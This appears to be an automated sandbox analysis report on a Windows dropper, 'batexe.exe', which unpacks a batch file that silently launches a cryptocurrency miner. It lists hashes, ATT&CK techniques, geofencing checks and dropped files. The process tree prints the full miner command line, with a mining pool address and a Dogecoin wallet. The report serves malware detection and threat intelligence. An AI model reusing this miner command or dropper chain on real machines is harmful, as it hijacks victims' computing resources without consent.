73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
301s
max time network
314s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
19/02/2024, 15:59

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2832	b2e.exe
5432	cpuminer-sse2.exe

Loads dropped DLL 6 IoCs

pid	Process
5432	cpuminer-sse2.exe
5432	cpuminer-sse2.exe
5432	cpuminer-sse2.exe
5432	cpuminer-sse2.exe
5432	cpuminer-sse2.exe
5432	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5472-1-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5472 wrote to memory of 2832	5472	batexe.exe	85
PID 5472 wrote to memory of 2832	5472	batexe.exe	85
PID 5472 wrote to memory of 2832	5472	batexe.exe	85
PID 2832 wrote to memory of 4968	2832	b2e.exe	86
PID 2832 wrote to memory of 4968	2832	b2e.exe	86
PID 2832 wrote to memory of 4968	2832	b2e.exe	86
PID 4968 wrote to memory of 5432	4968	cmd.exe	89
PID 4968 wrote to memory of 5432	4968	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5472
- C:\Users\Admin\AppData\Local\Temp\54D2.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\54D2.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\54D2.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\74AE.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4968
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5432

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\54D2.tmp\b2e.exe

Filesize
2.8MB

MD5
9e406b77a591fa5892e99f0d214e0cf1

SHA1
f3130e13eea546e86ac855fbedbebca0c90a7cdb

SHA256
1d828ad46280e908e988c7057090dfbeb8237625a9fbf5cf64f8d5d46fa7af64

SHA512
145f0520fd28e8be7831f2bbc0749d9edf3dc6e8e7fd6d942c27203934ed19ce429931d414399d6bf5a6c909f7a224394e935609f552584b8ca06cf8dd7a14b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\54D2.tmp\b2e.exe

Filesize
398KB

MD5
d541e0d3fb44d3255d5422b796749d6a

SHA1
6bda9f66624fc40c8cb9f5fbaee2edbd229bf6ca

SHA256
0a84e329f263ce09d6db481fdeccf62b34cd57080960030618861604a2a0d528

SHA512
870a2fc94716cc61788e424108f0e94e9d1fc084b07bddc6c6fd96476b46ac9de414f49023a04ea247a503325331a9d2506b37e7ce51fad836270ca17a124de0

Download Submit
C:\Users\Admin\AppData\Local\Temp\54D2.tmp\b2e.exe

Filesize
422KB

MD5
c79c4326aa9a997b1c6fd1813d0d3a72

SHA1
175a38072f2fc2b68a62bdbee129d46b2a517338

SHA256
85990b6c923082dc0bdf55d544f78048c56fdac9edfeff400b82767cd403ba61

SHA512
1702ecade82562ea98f58375aa417b2e8e320e886f49e4b7eb19f4f73ee6bbc852de8407d819a817cdd06286edb9a0072ebf38d14de4ef117ed38ad086a91b0e

Download Submit
C:\Users\Admin\AppData\Local\Temp\74AE.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
438KB

MD5
a3eeb070a881306c3c90f9bea2b52849

SHA1
360974dc2d7e83e860c016470487f8998e27c781

SHA256
e705c0dd900485ddc2fca16336c1260af9dd8bbf73cb8afd5bffdab94286221c

SHA512
477e9ec1ff54e0ce5f47e7642f45a1b192ac968c195f47c2c06562894b14f9cd89caf9aceaf0742f5dfacdb7ad0dae6cd2897072df3ae8e825b736c039437e2b

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
370KB

MD5
07c099cbf79f9f075beacbd4f7255793

SHA1
fa59febd30a7c62186033f7515630a823bd968fd

SHA256
fa0e02dcf45b2d293f7b157c14fbac2bd8d9cd47e2c4cc78441db7aa4d1da6c9

SHA512
eda75b081339aed93360f8788b42a1db6a3ce058d24e35a6599010239ef8a838b3fca0bd4d63ed11d832ac9a331ac22f6f8f702a0a3f07b550aac96333253d92

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
182KB

MD5
bf7112f3d3b4fd5016ac4a6842b513af

SHA1
7bf4e40058bdd1699d1b7f73c747c7ff3b35f29a

SHA256
273c31efb8667bbd10bda50c42b0b86f54a39ae2213e4a8db30049093707cd5f

SHA512
9f7ff6fcc3af0ec80049fe855c0114045945d511ebc69ef8dff60add240aa0deb08d0e334b8046c43cb96f24d88fe2afc6816b5fad9b4a020885cc0f88b7de10

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
197KB

MD5
190612499421b8087e7fa2fb8941e79c

SHA1
0362387d630c15410b43bc399dbe3bb5c08363e3

SHA256
f36ecaebb28f6999db5df8169857fe37b5b6202fc80cf52eed62aa6c5c55d7a4

SHA512
dcfc528601520dfa2702dc7aea4d216211cc4348f78dfa2f6f6efa4b2b85341fa96d38dc8bd619d15d2535cb630e3dce9e7d705ed3cf3cdd13b1957ca3e1f705

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
301KB

MD5
424bbead14cb39454f9ede14326fe6fa

SHA1
0264c85817b6a7db8dc0c651df04e4189b8d0478

SHA256
7b9bf401019a0c184dd9ffd541cdef24f6820cef00f3c9b4ce5afdff33531020

SHA512
e3e83100c0818799c9964a2d594103fa2ccfc5ec035461efdb4d65fa50963de8c70a5da91afdda704a35cff9f5947426c917d6cede22682f258d41c744b7e059

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
312KB

MD5
da7606a9315a25b02a4585784d11caef

SHA1
581b6337342cf7c07b68a13a7a3ddb84c161a2e3

SHA256
1bbc700b16acd6b6cdcc513f8617e123ff000eba7370b4896e6352aa422327ae

SHA512
834bf0c93688aead48129bf5842e8904b9fca119eba97d0c6e2eb614a2d06f140b685db0e593706ddca3fbee5888fe384e2c73ce59d9378e11478212633df0ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
278KB

MD5
2cc72f5131897a36ebe698c12de4f4f5

SHA1
fcf05d44eb08581e9cef4a70613e4e38edff6501

SHA256
4d82725fb6e036ec017f0600837536898efc3e5ce4a36bf73ecb92bf76fd5d12

SHA512
67a075ce18394a0caace5a9473471ba684ea058088d7922177c8cc07b6f1c77f64c436f4f0ddf77dc1c6605cbf5875f410759859209a02af42b7ba9d4298330c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
299KB

MD5
05874f8812847a15bf464ea53fe526a2

SHA1
407ab40f08700b40891e75292eea11da946a3b17

SHA256
0ece53d28e01db64decd371cb01c4baa950d88cb6b69ae2d1560443b1bea5f90

SHA512
91b157639298caaa314db558b34b3ea79b674da495fd1e04d1b16105be5ae8760f3e782df9fe42924de057268cfa40ac2a7b7e4a5659c75b19d35f03865659e7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
413KB

MD5
e6fdcd0a0c365cf37eec75c95e22bfd2

SHA1
8349f2b7baa699d743ac911babfd137ca36ebba3

SHA256
153dd10eb57d7ef5608dc3ff320e24abb311393f8cdcce972cbfc6c11111d3f2

SHA512
8741845ca5bde14d9074781a4236f816cee975d88fe00e696d6b87494b0c198ba40515a85fab8acd3540ecf92961a14f3983c0e29170a7c065f88c3835f71457

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
85KB

MD5
a369296b578ae864dd5874b2959b3b93

SHA1
0b01ad28dc0d208984f68623ee33ec3efad93d67

SHA256
d73b55a764ca7ca42b36a9c4610382bea77b474d30aa9a723974c955454bf4a1

SHA512
aef0e2bdbedca33ac73274f209ff346650d9de69d0730bc5d42bc2240f850470a70ac957ef182089f60beaa0db671e0eb55b3eb1413ed5df29304e86e1b46536

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
153KB

MD5
f276be48a7e80f47611ad06559286f48

SHA1
972f08ba1c836412627a37feb1f08d7d383e6021

SHA256
ef7218d83c6a5416c16fd82ff71c47edabc1de0e12a439d8c89f3fe8990b8dd2

SHA512
d22d645c38a109dd95bb48c7eec2204c110f9b159e5921f77037f9e297ea2d46c537733d917a8bb612100bc2b7f7bb2067ab8500bf810683e899f7445afd38a9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
96KB

MD5
3aff9a6e042b10ba6d881e1fd12d20e1

SHA1
6d2d520b117a034cbd0fdcda93c71569ceeb52dc

SHA256
60a0d950810acd0de49f22a8d381595cead015e38090b6f54140de06fe06c7c0

SHA512
15033f00b0599af92f2f584b16c86a679b4cfe7866c74db666ddff92edcbc8a9e62ca615fae7e8e7152f290e684931ed83ce9f71c49577639657b79d3c29202c

Download Submit
memory/2832-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2832-56-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5432-50-0x0000000065FD0000-0x0000000066068000-memory.dmp

Filesize
608KB

Download
memory/5432-77-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5432-47-0x000000006FC40000-0x00000000714F5000-memory.dmp

Filesize
24.7MB

Download
memory/5432-48-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5432-49-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/5432-43-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/5432-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5432-102-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5432-57-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5432-62-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5432-46-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5432-87-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5432-92-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5472-1-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download